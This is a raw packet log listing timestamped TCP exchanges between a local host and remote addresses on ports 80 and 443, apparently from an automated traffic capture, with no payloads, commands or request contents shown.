Oct 29, 2024 18:42:14.781308889 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781321049 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781337023 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781392097 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781408072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781423092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781439066 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781439066 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781439066 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781439066 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781548023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781548023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781548023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781645060 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781760931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781806946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781864882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781887054 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781891108 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781932116 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781932116 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781960011 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781975031 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782000065 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782016039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782037020 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782037020 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782037020 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782094002 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782109976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782124996 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782201052 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782242060 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782242060 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782242060 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782242060 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782304049 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782318115 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782335043 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782361984 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782402992 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782444954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782461882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782567024 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782588959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782607079 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782612085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782612085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782612085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782624006 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782695055 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782695055 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782695055 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782808065 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782824039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782840967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782859087 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782875061 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782891989 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.782916069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782916069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782916069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.782943010 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.859621048 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.859641075 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.859673977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.859810114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.859810114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.859860897 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.859930992 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.859945059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860065937 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860112906 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860112906 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860112906 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860112906 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860145092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860165119 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860212088 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860228062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860270023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860270023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860270023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860270023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860375881 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860392094 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860409021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860465050 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860466003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860538006 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860574007 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860590935 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.860671997 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860671997 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.860671997 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.900578022 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900585890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900592089 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900701046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900718927 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900723934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.900723934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.900749922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900757074 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.900757074 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.900768042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.900832891 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.900832891 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901165009 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901215076 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901237011 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901246071 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901289940 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901289940 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901340961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901355982 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901370049 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901388884 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901392937 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901472092 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901473045 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901473045 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901535034 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901552916 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901624918 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901701927 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901716948 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901731014 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901746988 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901758909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.901766062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901766062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901766062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901766062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901786089 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.901796103 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.902009964 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.902308941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.902678967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.902862072 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:16.427408934 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:16.427421093 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:16.427493095 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:16.428268909 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:16.428278923 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:16.769942999 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:16.770087004 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:17.011915922 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.011936903 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.012020111 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.012319088 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.012332916 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.076019049 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.076061964 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.076128960 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.076498032 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.076524019 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.184595108 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.184616089 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.184849024 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.185108900 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.185121059 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.448731899 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.448962927 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.448971987 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.450237036 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.450293064 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.451395988 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.451462984 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.451699972 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.451705933 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.495608091 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.732810020 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.781441927 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.781450987 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.783055067 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.783113956 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.783260107 CET	443	49706	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.783320904 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.783333063 CET	49706	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.866277933 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.866563082 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.866573095 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.868010044 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.868071079 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.868361950 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.868427038 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.868490934 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.868496895 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.916109085 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.931451082 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.931737900 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.931746006 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.932712078 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.932765961 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.933130980 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.933178902 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.933239937 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.975336075 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:17.978198051 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:17.978205919 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.025460958 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.162555933 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.162712097 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.162792921 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.162857056 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.162867069 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.162938118 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.162939072 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.162967920 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.163016081 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.163033009 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.173623085 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.173686028 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.173695087 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.208769083 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.213751078 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.259850979 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.259874105 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.263689041 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.263762951 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.263916969 CET	443	49712	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.264012098 CET	49712	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.279237986 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.279426098 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.279490948 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.279508114 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.283615112 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.285870075 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.285881042 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.288049936 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.288104057 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.288111925 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.296940088 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.297884941 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.297893047 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.299706936 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.300278902 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.300293922 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.301413059 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.301481009 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.301829100 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.301884890 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.352982044 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.352989912 CET	443	49713	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.352993965 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.353019953 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.396523952 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.397900105 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.397926092 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.398854971 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:18.398947001 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:18.399034023 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:18.399364948 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:18.399399996 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:18.399888039 CET	49713	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.400671959 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.400738955 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.400749922 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.406297922 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.406358004 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.406366110 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.414014101 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.414140940 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.414203882 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.414211988 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.417879105 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.465573072 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.508646011 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.508662939 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.513540030 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.513614893 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.513634920 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.517998934 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.518064022 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.518079042 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.523114920 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.523197889 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.523267984 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.523283005 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.525738955 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.531037092 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.571615934 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.571630955 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.583154917 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.583221912 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.583233118 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.630446911 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.630527020 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.630536079 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.630563974 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.630620003 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.634844065 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.640023947 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.640074968 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.640084028 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.640194893 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.640243053 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.640249968 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.648266077 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.648336887 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.648345947 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.696639061 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.696646929 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.700671911 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.701895952 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.701905966 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.747587919 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.747688055 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.747699976 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.756887913 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.756978989 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.756989002 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.757184029 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.757261038 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.757268906 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.765305996 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.765360117 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.765368938 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.806138039 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.806149006 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.817203045 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.817262888 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.817328930 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.817341089 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.820555925 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.864598989 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.864799023 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.864876986 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.864886999 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.874145985 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.874234915 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.874248028 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.874258041 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.874310970 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.874325037 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.882298946 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.882379055 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.882388115 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.930416107 CET	443	49711	142.250.185.228	192.168.2.5
